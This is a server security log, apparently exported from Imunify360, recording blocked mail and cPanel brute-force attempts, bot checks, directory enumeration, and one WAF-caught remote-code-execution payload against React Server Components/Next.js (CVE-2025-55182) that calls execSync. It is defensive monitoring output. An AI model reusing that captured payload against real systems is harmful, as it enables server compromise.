IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg/uploads/images/118.jpg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:50:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:51:35 dovecot_login authenticator failed for H=(2n8Das9Zlo) [141.98.10.175]:65318: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:51:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.63.16.68
country_id: 732800
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-51.37.63.16.68||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:52:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.0.198.72
country_id: 102358
description:
[2026-06-15 21:52:52 +0000] info [cpaneld] 159.0.198.72 - ortouc "GET /login/?login_only=1&user=ortouc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.71.137
country_id: 1512440
description:
[2026-06-15 21:52:39 +0000] info [cpaneld] 84.54.71.137 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:52:25 dovecot_login authenticator failed for H=(8bMCUm) [141.98.10.175]:51808: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:54:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711706&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781560447 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:53:43 dovecot_login authenticator failed for H=(RFTs6cG) [141.98.10.175]:51419: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:53:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:54:33 dovecot_login authenticator failed for H=(ybJroLDJdt) [141.98.10.175]:59249: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:54:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:55:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:55:29 dovecot_login authenticator failed for H=(ZymlG6XTD) [141.98.10.175]:56302: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:56:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.180.238
country_id: 3469034
description:
Jun 15 21:56:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.180.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:56:20 dovecot_login authenticator failed for H=(tJR2oACuo) [141.98.10.175]:54053: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77093094
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.17||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:57:41 dovecot_login authenticator failed for H=(7TMh8MXzc) [141.98.10.175]:61633: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.17||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:57:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:57:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.12
country_id: 3469034
description:
Jun 15 21:59:10 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:58:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:58:27 dovecot_login authenticator failed for H=(7SOgXaEiv) [141.98.10.175]:59776: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:59:20 dovecot_login authenticator failed for H=(s46UIupy) [141.98.10.175]:56876: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.12
country_id: 3469034
description:
Jun 15 21:59:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:59:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.206
country_id: 3175395
description:
Jun 15 21:59:49 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.206 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.98.168.216
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.98.168.216||TA:172.98.168.216||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 13.38.52.163
country_id: 3017382
description:
[2026-06-15 22:00:10 +0000] info [cpaneld] 13.38.52.163 NEW wcnyaruu:lpZ6OFHCrBf7AEWc address=13.38.52.163,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:00:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:00:42 dovecot_login authenticator failed for H=(kmVJ7Slv) [141.98.10.175]:55209: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:01:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:01:39 dovecot_login authenticator failed for H=(yUIT1rK) [141.98.10.175]:63727: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.235.51.82
country_id: 6252001
description:
[2026-06-15 22:01:44 +0000] info [cpaneld] 172.235.51.82 NEW wcnyaruu:NE7Xl0lPe86kRmFU address=172.235.51.82,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.140
country_id: 6251999
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.80.140||TA:216.173.80.140||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:02:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:02:31 dovecot_login authenticator failed for H=(4M4aYGX1u) [141.98.10.175]:62711: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:03:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:03:29 dovecot_login authenticator failed for H=(LK78F5) [141.98.10.175]:61472: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:04:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.217.134
country_id: 3658394
description:
[2026-06-15 22:04:52 +0000] info [cpaneld] 177.234.217.134 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.188.17
country_id: 2542007
description:
[2026-06-15 22:04:54 +0000] info [cpaneld] 41.251.188.17 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.174.89.143
country_id: 3865483
description:
[2026-06-15 22:05:13 +0000] info [cpaneld] 190.174.89.143 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:04:25 dovecot_login authenticator failed for H=(wpYUBoVd7) [141.98.10.175]:59657: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:04:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.99.71.116
country_id: 3865483
description:
[2026-06-15 22:05:19 +0000] info [cpaneld] 190.99.71.116 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.246.94.114
country_id: 2017370
description:
[2026-06-15 22:04:56 +0000] info [cpaneld] 80.246.94.114 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.133.37.140
country_id: 3686110
description:
[2026-06-15 22:05:01 +0000] info [cpaneld] 181.133.37.140 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:04:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.54.251.23
country_id: 3439705
description:
[2026-06-15 22:04:59 +0000] info [cpaneld] 186.54.251.23 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.91.88.16
country_id: 3469034
description:
[2026-06-15 22:05:06 +0000] info [cpaneld] 187.91.88.16 - macit "GET /login/?login_only=1&user=macit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.101.35.219
country_id: 2589581
description:
[2026-06-15 22:05:15 +0000] info [cpaneld] 105.101.35.219 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.231.210.71
country_id: 3624060
description:
[2026-06-15 22:05:19 +0000] info [cpaneld] 152.231.210.71 - sotranetogo "GET /login/?login_only=1&user=sotranetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.12.26.54
country_id: 3469034
description:
[2026-06-15 22:06:07 +0000] info [cpaneld] 177.12.26.54 - tilitu "GET /login/?login_only=1&user=tilitu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.140.224.97
country_id: 3686110
description:
[2026-06-15 22:05:33 +0000] info [cpaneld] 181.140.224.97 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.173.234.129
country_id: 3895114
description:
[2026-06-15 22:05:47 +0000] info [cpaneld] 181.173.234.129 - sotr "GET /login/?login_only=1&user=sotr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.248.170.1
country_id: 3625428
description:
[2026-06-15 22:05:51 +0000] info [cpaneld] 38.248.170.1 - sot "GET /login/?login_only=1&user=sot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.8.134.141
country_id: 3469034
description:
[2026-06-15 22:05:55 +0000] info [cpaneld] 177.8.134.141 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.136.44.15
country_id: 6252001
description:
[2026-06-15 22:05:59 +0000] info [cpaneld] 104.136.44.15 - tilitul "GET /login/?login_only=1&user=tilitul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitul (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.234.54.220
country_id: 3686110
description:
[2026-06-15 22:06:09 +0000] info [cpaneld] 181.234.54.220 - tilit "GET /login/?login_only=1&user=tilit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilit (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:05:49 dovecot_login authenticator failed for H=(WU8uhjiH) [141.98.10.175]:58520: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:05:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.217.239.79
country_id: 3865483
description:
[2026-06-15 22:05:52 +0000] info [cpaneld] 201.217.239.79 - tilitulab "GET /login/?login_only=1&user=tilitulab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitulab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.190.168.67
country_id: 3625428
description:
[2026-06-15 22:05:22 +0000] info [cpaneld] 45.190.168.67 - sotranetogocom "GET /login/?login_only=1&user=sotranetogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.140
country_id: 3686110
description:
[2026-06-15 22:05:26 +0000] info [cpaneld] 38.156.230.140 - sotranetog "GET /login/?login_only=1&user=sotranetog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:05:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:06:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:06:46 dovecot_login authenticator failed for H=(79r995) [141.98.10.175]:56995: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:07:22 dovecot_login authenticator failed for H=(muK4zz3AH) [141.98.10.175]:63998: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003116&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781561319 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.55.202
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:162.252.55.202||TA:162.252.55.202||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 22:12:11 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11023: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:12:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.121.237
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:152.232.121.237||TA:152.232.121.237||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 15 22:15:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.193.17
country_id: 3469034
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/audios HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 22:19:03 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:10726: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:20:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:20:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.253.203
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.83.253.203||TA:172.83.253.203||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:24:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146474&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562257 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
